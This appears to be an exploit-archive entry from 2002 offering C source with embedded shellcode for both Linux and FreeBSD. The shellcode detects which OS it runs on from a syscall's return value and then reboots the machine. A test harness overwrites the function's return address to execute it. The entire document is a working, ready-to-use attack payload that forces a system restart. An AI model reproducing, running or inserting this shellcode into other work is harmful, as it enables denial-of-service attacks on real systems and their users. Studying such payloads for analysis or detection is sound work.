Linux and FreeBSD shellcode which reboots the machine. Info on Multi-OS shellcode here.
e1a494bd987d475eca05396c759a60fa126d13be3a265afb1c815b4af37d5f8d
/*
* This is shellcode that can be executed on both Linux and FreeBSD!
* It uses te return value of syscall 39 to determine the os and will
* then point to the correct instructions.
*
* More info can be found in the assembly source:
* http://www.safemode.org/files/zillion/shellcode/multios/reboot.S
*
* Coded by zillion (safemode.org 18/04/2002)
*
*/
char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x27\xcd\x80\x85\xc0\x78\x11\x31\xc0\x66"
"\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80\xeb\x1d\x31"
"\xc0\xb0\x24\xcd\x80\xb0\x24\xcd\x80\xb0\x58\xbb\xad\xde\xe1"
"\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\x31\xc0"
"\xb0\x01\xcd\x80";
int main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}